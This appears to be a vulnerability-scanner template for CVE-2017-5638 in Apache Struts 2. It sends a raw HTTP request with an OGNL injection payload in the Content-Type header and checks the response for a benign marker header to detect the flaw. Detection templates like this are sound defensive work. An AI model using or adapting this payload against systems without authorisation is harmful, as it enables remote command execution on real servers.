id: CVE-2017-5638 info: name: Apache Struts 2 - Remote Command Execution author: Random_Robbie severity: critical description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server. reference: - https://github.com/mazen160/struts-pwn - https://nvd.nist.gov/vuln/detail/CVE-2017-5638 - https://isc.sans.edu/diary/22169 - https://github.com/rapid7/metasploit-framework/issues/8064 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2017-5638 cwe-id: CWE-20 tags: cve,cve2017,struts,rce,apache requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* matchers: - type: word words: - "X-Hacker: Bounty Plz" part: header # Enhanced by mp on 2022/04/26